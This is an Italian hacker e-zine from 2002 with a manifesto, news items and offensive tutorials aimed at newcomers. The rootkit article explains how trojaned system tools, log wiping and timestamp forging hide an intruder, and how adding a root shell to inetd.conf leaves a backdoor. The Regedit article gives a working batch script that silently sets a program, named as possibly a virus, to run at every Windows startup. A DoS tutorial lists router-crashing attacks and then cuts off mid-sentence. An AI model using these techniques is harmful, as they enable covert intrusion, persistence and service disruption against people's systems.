X-SYSTEM E-ZINE N°1 17 MARZO 2002 010101010101010101010101010101010101010101010101010101010101010101 010101010101010101010101010101010101010101010101010101010101010101 010101010101010101010101010101010101010101010101010101010101010101 0101010101/ \01010101010101 010101010/ \1010101010101 01010101| X - S Y S T E M E - Z I N E |010101010101 010101010\ /1010101010101 0101010101\ /01010101010101 010101010101010101010101010101010101010101010101010101010101010101 010101010101010101010101010101010101010101010101010101010101010101 010101010101010101010101010101010101010101010101010101010101010101 system:/ # mycontrol the system control everything... the system controls you... OS version 156455.15645.154 Can I help you? system:/ # No, thanks! Ok, good work... ;) system:/ # cat x-sys0 [.......Loading.......] . . : : [ E-zine nata il 19 Novembre 2001 ] : : . . . . : : [ Redattori: Elektro e Marvin ] : : . . . . : : [ Argomenti trattati ] : : . . Anarky | CyberInfo | Cracking | Elettronica | Etica & Riflessioni | Intro | Hacking | Hacking Satellitare | Linux | Phreaking | Programmazione | Saluti | . . : : [ Indice ] : : . . **************************************************************************** * * * X-SYSTEM E-ZINE N° 0 * * * **************************************************************************** * TITOLO * AUTORE * **************************************************************************** * ( . . . INTRO & VARIE . . . ) * **************************************************************************** * L'aVvEnTuRa CoNtInUa... Elektro * * * * M@nIfEsT0 Elektro * * * * CYbErInFo Marvin ed Elektro * * * * La PoStA dEi LetToRi Lettori e Redazione* * * * AlLeGaTi Elektro * * * * PrOgEtTi Elektro * * **************************************************************************** * ( . . . H A C K I N G . . . ) * **************************************************************************** * RoOtKiT Elektro * * * * ReGeDiT Elektro * * * * AtTaCcHi DoS Snhyper * * * * CoNfIgUrIaMoCi MySqL, ApAcHe, PhP iN LiNuX eD Exp... E4m * * * * BuG LoTuS Dominus * * * * DiFfErEnZa Di AtTaCcO dOs e DdOS Dominus * **************************************************************************** * ( . . . CRACKING . . . ) * **************************************************************************** * Un PiCcOlO eSeMpIo Di ChEaTs E4m * * * * LeGaL MaRiJuAnA bY e4m E4m * **************************************************************************** * ( . . . PHREAKING . . . ) * **************************************************************************** * SiM CaRd Black-Cap * * * * HaRd LiNe ¶HeLLz¥AnGÆL°¹® * * * * ThE CoLoR BoX Vampire * **************************************************************************** * ( . . . LINUX . . .) * **************************************************************************** * LiNuX: Le DiStRo Elektro * * * * LiNuX: L'iNsTaLlAzIoNe Elektro * * * * LiNuX: i FiLeSyStEm Elektro * * * * SiCuReZzA NeI SiStEmI LiNuX BbOyIcE * * * * CoMe RiCoMpIlArSi Il KeRnEl Dominus * **************************************************************************** * ( . . . PROGRAMMAZIONE . . . ) * **************************************************************************** * AsSeMbLy? No GrAzIe, NoN fUmO! vol. 1 E4m * * * * AsSeMbLy? No GrAzIe, NoN fUmO! vol. 2 E4m * * * * SeCuRiTy iNfO 2002 vol. 1 E4m * * * * SeCuRiTy iNfO 2002 vol. 2 E4m * * * * SeCuRiTy iNfO 2002 Bonus E4m * * * * RaW sOcKeT e PaCcHeTtI tCp/Ip N'eM Sy * * * * CrYpTo TuTtO CoN i CiClI Marvin * * * * UsIaMo Il C PeR ScOpI lOsChI Marvin * * * * GuIdA aL PeRl Marvin * * * * PrOgRaMmArE iN TuRbO PaScAl 6 Anfetamina * **************************************************************************** * ( . . . ETICA & RIFLESSIONI . . . ) * **************************************************************************** * CyBeRdIpEnDeNtI? Elektro **************************************************************************** * ( . . . SALUTI, FUCK, RINGRAZIAMENTI, DI TUTTO DI PIU' . . . ) * **************************************************************************** * SaLuTi & RiNgRaZiAmEnTi Elektro * * * * FuCk Elektro * * * * DoVe TrOvArCi Elektro * * * * CoMe InViArE i VoStRi ArTiCoLi Elektro * * * * LiNkS Marvin ed Elektro * * * * ThE EnD Elektro * **************************************************************************** ############################################################################ 01§010°1010§101Ø010101µ0101-01;010&101ç0101@01010æ1010101·010ß10¢10]101·0101 0«101@01·01`01010@101*01|----------------------------|01ð01¶01<01010\10101£0 010æ10@10Æ1ß01%01010&10ß| ...L'AVVENTURA CONTINUA... |10%101ð0101|010:10&101 01*010&101µ01þ010@10101½|----------------------------|00°1010¢1010@1010"1010 01<0101!1010+101"010=101%010?101&01^01'01>01(0101)01|0þ10@10ç1ò010K101X01§01 ############################################################################ Salve a tutti smanettoni italiani! ;) Come potete vedere siamo di nuovo qui, con una nuova uscita e molti altri articoli interessanti, tutti da leggere e studiare!! Non è stato semplice: almeno per quanto mi riguarda durante questo periodo sono pieno di impegni scolastici e sportivi, senza contare tutto il resto... Marvin.. eheh a quanto pare anche lui si sta impegnando molto con la scuola. :-( Come se non bastasse in questi giorni, come sicuramente saprete, si è verificato un incendio nella server house di Xoom e sia io che Marvin abbiamo perso tutti nostri file (cazzo.. quasi 200 MB c'avevo là dentro.. :-( ). Per quanto mi riguarda sto rifacendo tutti gli upload ma con una 56k e con le poche ore che passo ora davanti al pc non so quando completerò il lavoro... Comunque quando voi leggerete questo testo il mio sito dovrebbe essere completamente disponibile come lo era prima. ;-) Per quanto riguarda l'uscita di questa ezine abbiamo raccolto principalmente testi riguardanti l'hack, il phreak e il coding. Alcuni articoli sono per i Newbie, altri sono dedicati invece a smanettoni un po' più esperti. Tutto sommato credo che questo numero, come tutti gli altri che usciranno dopo questo, rispecchi esattamente quello che noi ci proponiamo di insegnare e divulgare: a parte l'argomento, in questa ezine saranno presentati articoli per Newbie totali che si avvicinano per la prima volta al mondo Underground e altri un po' più approfonditi dedicati a lettori più esperti. In entrambi i casi cercheremo di essere i più esaurienti possibili, altrimenti se non capite qualcosa esiste sempre la nostra casella di posta: x-system@email.it. ############################################################################ 01§010°1010§101Ø010101µ0101-01;010&101ç0101@01010æ1010101·010ß10¢10]101·0101 0«101@01·01`01010@101*01|----------------------------|01ð01¶01<01010\10101£0 010æ10@10Æ1ß01%01010&10ß| M A N I F E S T O |10%101ð0101|010:10&101 01*010&101µ01þ010@10101½|----------------------------|00°1010¢1010@1010"1010 01<0101!1010+101"010=101%010?101&01^01'01>01(0101)01|0þ10@10ç1ò010K101X01§01 ############################################################################ Quello che potete leggere qui sotto è il mio manifesto, già pubblicato su MondoHackers.cjb.net e X-System.cjb.net. Se avete voglia e tempo di leggerlo, leggetelo pure! ;) Buona Lettura. N.B. Per evitare disguidi fin dall'inizio, con la parola "Hackers", in questo manifesto, sottintendo gli smanettoni e chiunque si interessi seriamente all'Underground informatico, ma io non mi ritengo affatto hackers nel vero senso della parola. \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ Lottiamo per la libertà d'informazione... Apprendiamo e impariamo tutto quello che Voi, per paura, ci negate... Esploriamo e scopriamo un mondo che Voi cercate di sopprimere con la forza... Crediamo nei nostri ideali... Siamo "Hackers", portiamo questo nome, ma Voi ci chiamate più comunemente "Criminali"... Ma ricorda, puoi fermare me ma non tutti noi, perchè noi siamo più forti di te, la Conoscenza è il nostro credo e la nostra vita stessa; e finchè noi saremo attratti dalla Conoscenza saremo sempre i più forti, perchè il "Sapere" ci affascina ed è un diritto inalienabile dell'uomo... Ricorda, "Sapere è potere"! Non dimenticarlo mai! Mai! \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ Elektro ############################################################################ 01§010°1010§101Ø010101µ0101-01;010&101ç0101@01010æ1010101·010ß10¢10]101·0101 0«101@01·01`01010@101*01|----------------------------|01ð01¶01<01010\10101£0 010æ10@10Æ1ß01%01010&10ß| C Y B E R I N F O |10%101ð0101|010:10&101 01*010&101µ01þ010@10101½|----------------------------|00°1010¢1010@1010"1010 01<0101!1010+101"010=101%010?101&01^01'01>01(0101)01|0þ10@10ç1ò010K101X01§01 ############################################################################ CYBERINFO -Allarme Magic Lantern:è uscita da poco la notizia che l'FBI,in collaborazione di hacker reclutati appositamente per questo progetto,sta realizzando un potente keylogger(forse non solo,dato che avrebbe anche le funzioni di un worm visto che si autoinvierà per posta elettronica) che diffonderà come virus allo scopo di prevenire attacchi informatici o azioni terroristiche. Il suo funzionamento,simile a Badtrans.B,lo rende del tutto simile ad un virus,e perciò le case di antivirus hanno annunciato di non voler collaborare con l'FBI,a meno che ciò non venga loro impedito dalla legge... -E' ufficialmente nato il primo virus per Macromedia Flash 5,programmato interamente in ActionScript!La nuova creaturina,chiamata SWF.LFM.926,è stata scoperta da alcuni esperti del gruppo Sophos e infetterebbe tutti i filmati Flash(con estensione .swf appunto) che si trovano nella stessa directory nella quale è collocato. .926(che corrisponde alla dimensione in byte del virus) crea un file V.COM che viene autoeseguito dallo stesso virus e inizia a infettare tutti i filmati vicini. Macromedia comunque assicura l'uscita di una patch per risolvere il problema,ma nonostante il virus non provochi problemi come i suoi cugini più diffusi(spedizione via e-mail,perdita dati,ecc...),risulterebbe essere comunque il primo tentativo riuscito di una nuova generazione di virus. -E' uscita una nuova versione di Linux,denominata Sorcerer,che risulta essere molto diversa dalle versioni comunemente utilizzate.Anche se potrebbe apparire come un passo indietro,non verranno utilizzati più i pacchetti precompilati(come i vari deb o rpm),ma i programmi verranno forniti solo sotto forma di sorgente(e vengono chiamati "spells").Perchè?Perchè Sorcerer è dotato di un sistema di compilazione veloce,che permette l'installazione dei programmi alla stessa velocità dei comuni pacchetti precompilati. Il punto di forza di Sorcerer è un sistema che ,dopo aver finito il lungo processo di installazione(molto più lungo di una Mandrake,soprattutto nella configurazione di XFree86),è esattamente calibrato per il vostro processore; per ora gli sviluppatori hanno messo a disposizione "solo" 700 programmi,meno di qualsiasi distribuzione,ma dato che Sorcerer è appena uscito,ci sarà del tempo per renderlo brillante come i vari fratelli Debian,RedHat,SuSe e affini,dato che (a quanto dicono) ha tutte le carte in regola per diventarlo. -Problemi di sicurezza per Windows Media Player 7 fornito con WinXP.A quanto pare ogni WMP7 avrebbe un identificativo univoco che permetterebbe,tramite una semplice pagina html,di seguire e identificare l'utente ad opera di praticamente chiunque.Chissà perchè la Microsoft,avvisata nel Marzo 2001,si attarda così a rilasciare la patch annunciata... ############################################################################ 01§010°1010§101Ø010101µ0101-01;010&101ç0101@01010æ1010101·010ß10¢10]101·0101 0«101@01·01`01010@101*01|----------------------------|01ð01¶01<01010\10101£0 010æ10@10Æ1ß01%01010&10ß| LA POSTA DEI LETTORI |10%101ð0101|010:10&101 01*010&101µ01þ010@10101½|----------------------------|00°1010¢1010@1010"1010 01<0101!1010+101"010=101%010?101&01^01'01>01(0101)01|0þ10@10ç1ò010K101X01§01 ############################################################################ Anche per ora nulla... ############################################################################ 01§010°1010§101Ø010101µ0101-01;010&101ç0101@01010æ1010101·010ß10¢10]101·0101 0«101@01·01`01010@101*01|----------------------------|01ð01¶01<01010\10101£0 010æ10@10Æ1ß01%01010&10ß| A L L E G A T I |10%101ð0101|010:10&101 01*010&101µ01þ010@10101½|----------------------------|00°1010¢1010@1010"1010 01<0101!1010+101"010=101%010?101&01^01'01>01(0101)01|0þ10@10ç1ò010K101X01§01 ############################################################################ Allora ragazzi... Vediamo un po' gli allegati di questo numero: - Implementiamo CodeFiscal +Programma delle identita'!.zip ---> Vedere i testi di E4m e Slash sulla crittografia. - crazy patch for the sims.bat ---> Anche qui il file in questione è inerente ad un testo di E4m sulle cheats dei giochi. Ecco qui... Anche per questo numero è tutto. ;-) Mi sembra proprio di non aver dimenticato nessun allegato... Speriamo bene! ;) Buon smanettamento nel proseguimento dell'ezine! ############################################################################ 01§010°1010§101Ø010101µ0101-01;010&101ç0101@01010æ1010101·010ß10¢10]101·0101 0«101@01·01`01010@101*01|----------------------------|01ð01¶01<01010\10101£0 010æ10@10Æ1ß01%01010&10ß| P R O G E T T I |10%101ð0101|010:10&101 01*010&101µ01þ010@10101½|----------------------------|00°1010¢1010@1010"1010 01<0101!1010+101"010=101%010?101&01^01'01>01(0101)01|0þ10@10ç1ò010K101X01§01 ############################################################################ Uhmm Io per la testa non ho molti progetti interessanti da realizzare e i pochi che ho penso di farli con la Error404 Crew (www.error404crew.cjb.net). Perciò chiudo questa piccola 'sezione', se così si può chiamare. ############################################################################ 01§010°1010§101Ø010101µ0101-01;010&101ç0101@01010æ1010101·010ß10¢10]101·0101 0«101@01·01`01010@101*01|----------------------------|01ð01¶01<01010\10101£0 010æ10@10Æ1ß01%01010&10ß| H A C K I N G |10%101ð0101|010:10&101 01*010&101µ01þ010@10101½|----------------------------|00°1010¢1010@1010"1010 01<0101!1010+101"010=101%010?101&01^01'01>01(0101)01|0þ10@10ç1ò010K101X01§01 ############################################################################ |----------------------------------| |Art. N° <1> : "Rootkit" di Elektro| |----------------------------------| ROOTKIT Autore: Web: Mail: Data: 12:25 12/02/02 (oggi dalle mie parti non c'è scuola ;-)) Destinatari di questo testo: ** [* NewBie ** Apprendisti *** Smanettoni **** Hackers] Ciao ragazzi ;) Chi vi scrive, ancora oggi, è sempre lui... Elektro. ;) Pronto a scrivere qualche cazzata o meglio, pronto a scrivere qualcosa che magari interessa a qualcuno di voi: i newbie sempre assatanati di Conoscenza! Perchè un articolo sui Rootkit? Perchè, almeno a quanto ho potuto constatare, non esistono tutorials in italiano che spieghino cosa essi siano. Perciò sono qui pronto a buttar giù qualche riga. ;) Un rootkit è un insieme di tools scritti in linguaggio C che una volta ricompilati sulla macchina bersaglio fungono da programmi troiani e devono assolutamente rimanere invisibili al sysadmin. A cosa servono più precisamente, vi chiederete... Beh, immaginate un login troiano che non fa esattamente il suo lavoro e lascia entrare nel proprio sistema anche utenti che si identificano con uno user e pass che sta nelle righe del codice login originale ma nessuno lo sa ;) o un netstat che non riconosce il collegamente di un determinato host o di una determinata porta sul suo sistema, in modo che il sysadmin non si accorga mai di nulla!! ;) Cosa deve contenere un buon rootkit? Come minimo deve avere i seguenti troiani: -inetd -login -ls -ifconfig -netstat -passwd -ps -top -rshd -syslogd -fix Sono questi... Anche se spesso si trovano altri tool utili quali, ad esempio, sniffer e zap vari. Comunque, analizziamoli un po' con calma. Forse ne vale la pena. -inetd Come ben sappiamo questo è il demone che gestisci gran parte delle connessioni in un sistema (time, ftp, telnet, talk, rsh, e molti altri). Per i più disinformati, possono dare un'occhiata al file /etc/inetd.conf, per la configurazione dei principali servizi. Che si può fare con l'inetd.conf? Fare un bel 'echo' di una stringa dove diamo, ad esempio, alla porta 43255 una bella shell con diritti di root accessibile a chiunque sappia di quel 'tunnel virtuale'(che nome del cazzo... però mi piace ;))) nella macchina. Riavviamo il demone inetd, cancelliamo la stringa per maggiore sicurezza, sistemiamo ora e data con touch e siamo a posto. Ma alla fin fine abbiamo sempre manomesso un file di configurazione (/etc/inetd.conf, per l'appunto). Immaginiamo ora di manomettere l'intero demone utilizzando il troiano. Ora se l'admin vuole scoprirci non dovrà più controllare la configurazione dell'inetd.conf (e anche se lo fa non trova nulla, perchè se fate come vi ho detto io e vi cancellate perfettamente da log e affini non dovreste avere problemi... ;-)) ma killare il demone e ricompilarsi quello originale. ;) -login Questo è un altro tipo di backdoor... In poche parole consiste nella modifica del file di login (anche senza usare un rootkit questo lavoro è una cosa che qualunque smanettone dovrebbe saper fare in due minuti), ovvero quel programma che ha il compito di certificare user e passwd, per far entrare nella macchina remota qualsiasi utente che sia a conoscenza di una user e passwd inserita da noi nel login originale. ;) Come fare tutto questo è già stato spiegato dettagliatamente da Fusys nel 3° (se non vado errato) numero di BFI. -ls Questo è il troiano del comando ls. Ovviamente ha la stessa funzione di quello originale ed ha la sfortuna per il syadmin di essere terribilmente simile all'originale! ;) Infatti quando buchiamo una macchina ci riserviamo sempre un piccolo posto, una piccola cartella (di norma nascosta e situata in qualche sperduta directory) con all'interno i nostri piccoli giocattoli (di norma anche questi file nascosti e con nomi poco sospettosi) quali zap e scanner vari, exploit, datapipe, sniffer e altro. Ma come facciamo ad avere una maggior sicurezza che il sysadmin non metterà mai il naso fra i nostri giochi? ;) Semplice, installando appunto un ls troiano che non visualizzi determinati file e cartelle da noi configurati. ;) L'unico modo per visualizzarli è reinstallando il comando ls originale (poco pratico) o impartendo un comando opzionale non standart ome ad esempio ls -/. -ifconfig Il comando ifconfig restituisce lo stato dei device della rete, e nel caso di una macchina in rete, lo stato della scheda ethernet. Se il comando viene lanciato quando sulla rete è attivo uno sniffer, il sysadmin potrà accorgersi che la sua rete è monitorizzata da qualcuno, ma con l'ifconfig troiano sembrerà tutto normale. ;) -netstat Il netstat è il comando che dà come risultato un'analisi dei collegamenti attivi in quel momento in cui esso viene lanciato. Perciò se siamo nel sistema attraverso la nostra shell su una porta che in quel momento e in quel sistema non dovrebbe essere aperta e il sysadmin lancia il netstat potrà accorgersi che voi siete sul suo sistema; eh si, brutto modo per essere sgamati e quindi, proprio per questo è meglio usare anche questo troiano. ;) Diciamo che all'epoca questo troiano sarebbe stato solo utile anche a Kevin Mitnick quando venne sgamato proprio in questo modo da Mark Lottor mentre tentava di rubargli una serie di informazioni legate ai cellulari Oki... Beh, per tutta la storia leggetevi "Sulle tracce di Kevin", davvero un buon libro! -ps Come spero sappiamo, il comando ps restituisce una schermata con tutti i processi attivi in quel determinato momento. Perchiò se ci fosse uno sniffer o una backdoor il sysadmin potrebbe accorgersene. Invece con il nostro ps troiano possiamo far si che determinati programmi (i nostri giocattolini appunto, quali backdoor, sniffer, scanner vari ecc.) da noi precedentemente impostati non vengano visualizzati. ;) -top Discorso analogo al ps. ;) -rshd Anche questa è un'altra backdoor, come il login troiano. Sinceramente credo però, che una volta che usate come backdoor la modifica di un login manomesso basti e avanzi quello, anche senza usare questa seconda risorsa. -syslogd Questo è utilissimo ;) Da diversi anni (non so l'anno di preciso!) sono stati introdotti i file Log in sistemi *nix (e già ragazzi... una volta non c'erano ma poi si sono accorti che forse era davvero meglio metterceli!!) che come sappiamo 'registrano' tutte le varie 'attività' di un intruso come potremo essere noi. Il syslogd troiano invece ha il compito di loggare tutte le connessioni tranne quella che proviene da un determinato ip o attive su una determinata porta! Mica male! ;)) -fix E' un programma che permette di sostituire un file, come i troiani qui sopra elencati, mantenendo sempre il cheksum in maniara da ingannare il sysadmin nel caso dovesse fare qualche controllino... ;) Questi sono i principali troiani, poi ne esistono moltissimi altri... Ma dove trovo un buon rootkit? Sicuramente in un buon sito hacker li trovi senza difficoltà! Nel mio sito, www.x-system.cjb.net, puoi trovare qualcosa di interessante, ma ti consiglio di cercare su www.packetstormsecurity.com e ne troverai moltissimi, non solo per sistemi Unix e Linux, ma anche rootkit (utility più che altro) per sys Win NT; questi ultimi non sono altro che delle utility che lavorano sotto DOS, che una volta installati sul sitema, ad esempio, nascondano determinati processi che girano sulla macchina remota, un po' come il ps troiano. Comunque, ho in previsione per quest'estate di mettermi a lavorare anch'io con codici come /bin/ls e vedere cosa riesco a fare... Magari un ls troiano riesco a scriverlo. ;) In ogni se il mio progetto riuscisse troverete sicuramente nel mio sito e nell'X-Sys ezine il codice con tanto di commenti. ;) Comunque per tutti quelli che avessero voglia di contattarmi io sono disponibile a teo1987@libero.it. Se ho tempo/voglia risponderò! Ciao! |----------------------------------| |Art. N° <2> : "Regedit" di Elektro| |----------------------------------| REGEDIT Tutto quello nessuno vi ha mai detto ma voi, furbastri che non siete altro, avete SEMPRE desiderato di sapere! ;-) Autore: Web: Mail: Data: <02/02/02> *Fonti* - conoscenze personali, dovute a parecchie ore di smanettamenti con il Regedit... - The Registry Torn Apart di Ankit Fadia - Regedit di Master (SPP Members) *Regedit? Ma cos'è?* E' nientepopodimeno che il Registro di Configurazione dei sistemi Windows. Lo potete trovare sotto la cartella C:\Windows con il nome Regedit.exe. *A cosa serve?* Dovete sapere che il Regedit contiene la configurazione del vostro sistema: - contiene la locazione dei principali file di sistema, come ad esempio win.ini. - contiene gran parte della configurazione del sistema, come ad esempio quali programmi devono partire all'avvio del computer (vedi più avanti). - contiene gran parte della configurazione di programmi installati sul tuo computer. Proprio per questo, potete intuire che la Microsoft non ci svela molte info sull'uso di cosa si puà fare con questo Registro. Infatti, modificando oppurtanemente il Registro si può arrivare fino all'eliminazione dei limiti temporali imposti da uno shareware, e come capirete bene quest'azione è da considerarsi violazione del Copyright se la M$ si mettesse a scopiazzare i trucchi e i segreti del Regedit. Comunque, non vi preoccupate, i limiti imposti da uno shareware si possono tranquillamente eliminare anche se risiedono nel bel mezzo del Regedit; ma per questo dovete leggervi una buona giuda al Cracking, non questo testo. *Come è strutturato?* Il Regedit ha una struttura gerarchica, molto simile a quella usata dallo stesso Win per contenere cartelle e files. Pertanto chiunque abbia visto una finestra di 'Risorse del computer' o 'Gestione Risorse' non dovrebbe avere grosse difficoltà!! ;-) Iniziamo a vedere le ramificazioni, paragonabili a cartelle presenti in un Hard Disk, che sono proprie del Regedit: [Questa parte è stata scritta da Ankit Fadia e tradotta da Spider2k] HKEY_LOCAL_MACHINE Questa chiave contiene qualsiasi informazione sul sistema , sulle applicazioni e sui servizi di un computer. Molte informazioni si aggiornano automaticamente mentre il computer è in esecuzione. I dati immagazzinati in questa chiave vengono condivisi da ogni utente. Questa chiave ha varie sottochiavi : Config Contiene dati della configurazione per configurazioni diverse dell' hardware. Enum Questa contiene i dati delle periferiche. Per ogni periferica nel tuo computer,tu puoi cercare informazioni come il tipo di periferica, la casa produttrice, i drive e la configurazione corrente. Hardware Questa chiave contiene la lista delle porte seriali,i processori e microprocessori. Network Contiene Informazioni sulla rete. Security Mostra informazioni sulla sicurezza della tua rete. SoftWare Questa chiave contiene informazioni sui software installati. System Questa invece contiene dati che amministrano le periferiche usate da Windows e la loro configurazione. HKEY_CLASSES_ROOT Questa chiave è un alias del ramo HKEY_LOCAL_MACHINE\Software\Classes e contiene OLE, drag'n'drop,shortcut e informazioni sui file associati. HKEY_CURRENT_CONFIG Questa chiave è un'altro alias. Esso contiene una copia del ramo HKEY_LOCAL_MACHINE\Config, con la configurazione corrente del computer. HKEY_DYN_DATA Contiene alcune informazioni sulle frequenti modifiche del registro, cosi Windows mantiene una parte di esso in memoria nel tuo Hard Disk. Per esempio , conserva la configurazione PnP e le prestazioni del computer. Questa chiave ha due sottochiavi : Config Manager Questa SubKey contiene tutte le informazioni sui problemi dell'Hardware e sulla sua configurazione. Contiene anche la sottochiave HKEY_LOCAL_MACHINE\Enum. PerfStats Contiene informazioni sulle prestazioni del sistema e della rete. HKEY_USERS Questa importante chiave contiene le sub key .Default e un'altra chiave per ogni utente che ha accesso al computer. Se c'è soltanto un' utente, esiste solo la .Default key .Ogni sottochiave gestisce le impostazioni per ogni utente, come il colore del desktop, i font usati, e anche le impostazioni di altri programmi. Se tu apri una chiave di un' utente potrai trovare 5 importanti sottochiavi : AppEvent Contiene la directory dei file audio che windows esegue quando svolge determinate operazioni. Control Panel Qui ci sono le impostazioni del Pannello di Controllo. Esse risiedono nei file win.ini e control.ini Keyboard Layouts Contiene una voce che identifica e setta nel Pannello di Controllo il tipo di tastiera usata. Network Questa chiave ha delle sottochiavi che descrivono i correnti e recenti collegamenti alla rete. RemoteAccess Le impostazioni dell ' Accesso Remoto sono contenute qui. Software Contiene le impostazioni su tutti i software installati. Queste informazioni sono contenute nel win.ini o negli altri file privati .ini. HKEY_CURRENT_USER E' un alias della HKEY_USERS. Se il tuo computer non è configurato per un uso multi-utente, è messo nella sottochiave .Default di HKEY_USERS. -- FiNE -- Per il resto il Regedit è organizzato in Chiavi (Keys) e Sottochiavi (SubKeys). Ogni chiave ha un proprio nome, un valore, e un tipo e una classe specifica. Il nome è la stringa che identifica il tipo di dati;la lunghezza e il formato dipendono dal tipo di dati. Come hai potuto vedere, il Regedit è composto da 6 ramificazioni principali e non è possibile aggiungerne o toglierne altre a questo livello. *Un'occhiata al Regedit...* Se volete dare un'occhiata al Regedit (più che giusto dopo che vi siete sorbiti tutta questa parte prettamente teorica... ;)) potete avviarlo da Risorse del Computer o anche dal promt di MS-DOS; come preferite! *Come posso inserire dei valori?* Se volete modificare dei valori o aggiungere dei valori questo può essere fatto con il comando 'REGEDIT', nella forma 'regedit file.reg', dove il file con estensione reg contiene le informazioni con la loro determinata struttura. A questo punto ci compare una finestrella che ci avvisa che i valori sono stati inseriti nel registro. Arggghh! Ma noi non vogliamo che questo accada, vero? ;) Soprattutto nel caso avessimo scritto un virus che deve 'interagire' con il regedit o volessimo fare un innocuo scherzo ad un amico! Quindi dobbiamo essere furbi e imparare ad usare i seguenti parametri, presi dal tutorial di Master. /L: ( Specifica la locazione del file system.dat) /R: ( " user.dat) /E Mio_file.reg Nome_completo_della_chiave (Esporta su hd nel file Mio_file.reg tutto il contenuto della chiave specificata da Nome_completo_della_chiave, se non e' stato specificato nessun nome esporta in Mio_file.rg TUTTO il registro al gran completo) mettendo come parametro solo il nome del file Mio_file.reg il contenuto delle chiavi indicate in quest'ultimo vengono inserite nel registro (visualizzando la finestrella semre) /S Mio_file.reg (Questo e' piu' interessante! ;-) .. con il parametro /S il contenuto delle chiavi indicate nel file Mio_file.reg viene caricato nel registro in maniera completamente invisibile all'utente.) /C Mio_file.reg (attenzione!.. il contenuto del file va a SOSTITUIRSI completamente a quello originario del registro) /D ** cancella una chiave o un intero ramo del registro di configurazione es: REGEDIT /L: /R: /D mio_file.reg cancella le chiavi dichiarate in mio_file.reg Questi sono alcuni parametri interessanti, non c'è dubbio. Ma facciamo subito un esempio pratico di come si può aggiundere un *.reg nel registro. Vogliamo che un determinato programma parta ad ogni avvio di Windows (può essere un virus o un programma scritto da voi, comunque non ha importanza). Come fare? Innanzitutto scegliere un valore identificativo da dare al programma, ad esempio 'myprog' (che fantasia... ;)) e conoscere il suo percorso, mettiamo sia C:\Documenti\myprog.exe. A questo punto, per evitare di cancellare informazioni già presenti nel registro si usa il comando REGEDIT /E file.reg HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run dove file.reg è ovviamente il file di cui parlavo prima. Ora sarà così costituito: --inizio file.reg-- REGEDIT4 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] "Explorer"="C:\\WINDOWS\\SYSTEM\\explorer.exe" /* Altri prog... */ --fine file.reg-- Ora aggiungete la riga contenente il vostro programma; nel nostro caso dovreste aggiungere questa riga: "myprog"="c:\\Documenti\\myprog.exe" e ora dovete installarlo in maniera invisibile con il comando seguente: REGEDIT /S mio.reg Finito! Come primo esempio penso sia stato chiaro. Certo che questa procedura può rivelarsi lunga in alcuni casi, ad esempio quando dovete ripetere l'operazione più volte... Come risolvere il problema? Beh, potete scrivere un piccolo file BAT che faccia in un secondo quello che voi fate in un minuto. ;) Per chi sa il DOS questo non è un problema comunque per gli altri piazzo qui sotto un le 4 righe del file: --inizio file BAT-- @REGEDIT /E file.reg HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run @echo "myprog"="c:\\Documenti\\myprog.exe" >> file.reg @regedit /s file.reg @del file.reg --fine file BAT-- Ecco tutto! *Conclusioni* In questo breve testo ho trattato le informazioni principali di quello che è e come può essere usato il Regedit. Come avete capito può essere interessante conoscerlo e lavorarci sopra per svariati motivi! Una domanda che forse vi starete chiedendo: Ma il Regedit ha un mucchio di valori e la documentazione in giro è poca... Come faccio a fare qualcosa di interessante con esso? La risposta è una sola: Smanettare! Ho passato diverso tempo a osservare il Regedit, soprattutto l'anno scorso alle medie quando ci portavano in 'aula computer' e finivo il lavoro molto prima dei miei compagni o non c'avevo voglia di far nulla, e osservando il Regedit di quei computer ho scoperto svariate cose molto interessanti... Comunque questa breve guida al Regedit è conclusa e spero abbiate imparato qualcosa di nuovo e che queste informazioni vi possano essere utili! Se non avete capito qualcosa la mia mail è teo1987@libero.it e se ho tempo/voglia vi risponderò. Byez ;) |---------------------------------------| |Art. N° <3> : "Attacchi DOS" di Snhyper| |---------------------------------------| TUTORIAL v. 4.0 snhyper@hotmail.com ^^^^^^^^^^^^^^^^^ #include \ ~~~ D o S ~~~ / #include "snhyper.h" int main() { puts("DISCLAIMER"); do { puts("le info qui riportate sono a scopo informativo!"); }while(fai casino); do { puts("daje dentro"); }while(hai cervello); if(fai casino) puts("cazzi tuoi, te lo avevo detto"); else puts("ebbbbbravooo"); return 0; } Basta..ok..non lo faccio più ma... COME? NON SAI IL C? allora " goto studia_e_torna; " Ecco qui appena sfornato il mio 4° tute, incentrato sugli attacchi '' DoS '' ! Per quanto riguarda il mondo *nix , i maggiori attacchi di interruzione di servizio si dividono in 3 classi: <*> Attacchi DoS all'hardware di rete <*> Attacchi contro reti Linux <*> Attacchi contro applicazioni linux <=<*>=><=<*>=><=<*>=><=<*>=><=<*>=>ATTACCHI ALL'HARDWARE<=<*>=><=<*>=><=<*>=><=<*>=><=<*>=> A volte gli attacchi DOS che paralizzano il software paralizzano anche l'hardware, ma possiamo trovare anche casi specifici contro router, switch, hub etc.. Esempi: * mandando richieste di collegamento da indirizzi IP che non esistono, il destinatario, non potendo identificare gli indirizzi, può bloccare la sessione e quindi un servizio o una porta o l'intera rete. * impegnando tutte le sessioni remote del router che la vittima usa per i collegamenti, e quindi impedendogli di lavorare. * mandando in buffer overflow(superamento dei limiti di memoria di particolari variabili interessate) le routine di login, causando crash o riavvii delle unità ;) * riempendo una unità con pacchetti errati e strutturati particolarmente, causando un accodamento dei pacchetti che i processi child non riescono a gestire, e quindi crashando. Sia quello che ho detto finora che quello che vi dirò non vale per tutto l'hardware di rete, specialmente se nuovo, in quanto i produttori del suddetto hardware ogni tanto si svegliano e sistemano i bug delle unità e i firmware. Ora vi illustro più da vicino i maggiori attacchi, tutti corredati da link utili...prego, prego. 1) Hardware: ASCEND MAX Attacco : questi router con versione OS 5.0 si possono buttare giuaprendo una sessione telnet alla 150 e inviando una certa stringa di testo. Questo riavvierà il router!! ;)) Link : http://www.real-time.com/nontf/listserv//ascend/Attic/msg14637.html 2) Hardware: ASCEND MAX/PIPELINE Attacco : con versione OS 5.0 usano Java configurator sulla porta 9, uno strumento che individua 